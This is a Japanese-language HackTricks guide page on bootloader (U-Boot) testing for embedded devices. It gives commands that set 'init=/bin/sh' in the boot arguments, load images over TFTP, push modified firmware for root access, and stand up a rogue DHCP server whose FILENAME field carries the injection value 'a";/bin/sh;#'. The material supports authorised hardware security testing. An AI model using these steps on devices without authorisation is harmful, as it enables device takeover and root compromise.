Bootloader testing

ゼロからヒーローまでのAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)

HackTricksをサポートする他の方法:

デバイスの起動構成やU-bootなどのブートローダーを変更するために推奨される手順は次のとおりです:

  1. ブートローダーのインタープリターシェルにアクセス

  • 起動中に "0"、スペース、または他の特定の "マジックコード" を押して、ブートローダーのインタープリターシェルにアクセスします。

  1. ブート引数の変更

  • 以下のコマンドを実行して、ブート引数に 'init=/bin/sh' を追加し、シェルコマンドを実行できるようにします: %%% #printenv #setenv bootargs=console=ttyS0,115200 mem=63M root=/dev/mtdblock3 mtdparts=sflash: rootfstype= hasEeprom=0 5srst=0 init=/bin/sh #saveenv #boot %%%

  1. TFTPサーバーの設定

  • ローカルネットワーク経由でイメージをロードするためにTFTPサーバーを構成します: %%% #setenv ipaddr 192.168.2.2 #デバイスのローカルIP #setenv serverip 192.168.2.1 #TFTPサーバーのIP #saveenv #reset #ping 192.168.2.1 #ネットワークアクセスを確認 #tftp ${loadaddr} uImage-3.6.35 #loadaddrはファイルをロードするアドレスとTFTPサーバー上のイメージのファイル名を取ります %%%

  1. ubootwrite.pyの利用

  • ubootwrite.pyを使用してU-bootイメージを書き込み、ルートアクセスを取得するために変更されたファームウェアをプッシュします。

  1. デバッグ機能の確認

  • デバッグ機能が有効になっているかどうかを確認します。詳細なログ記録、任意のカーネルの読み込み、または信頼されていないソースからのブートなど。

  1. 注意深いハードウェア干渉

  • デバイスの起動シーケンス中に1つのピンを接地に接続し、特にカーネルが解凍される前にSPIまたはNANDフラッシュチップとやり取りする際には、極めて注意してください。ピンをショートする前にNANDフラッシュチップのデータシートを参照してください。

  1. ローグDHCPサーバーの設定

  • デバイスがPXEブート中に摂取する悪意のあるパラメータを持つローグDHCPサーバーを設定します。Metasploit(MSF)のDHCP補助サーバーなどのツールを利用します。 'FILENAME'パラメータを'a";/bin/sh;#'などのコマンドインジェクションコマンドで変更して、デバイスの起動手順の入力検証をテストします。

注意: デバイスのピンと物理的なやり取りを伴う手順(*アスタリスクでマークされています)は、デバイスを損傷させないように極めて注意してアプローチする必要があります。

参考文献

Last updated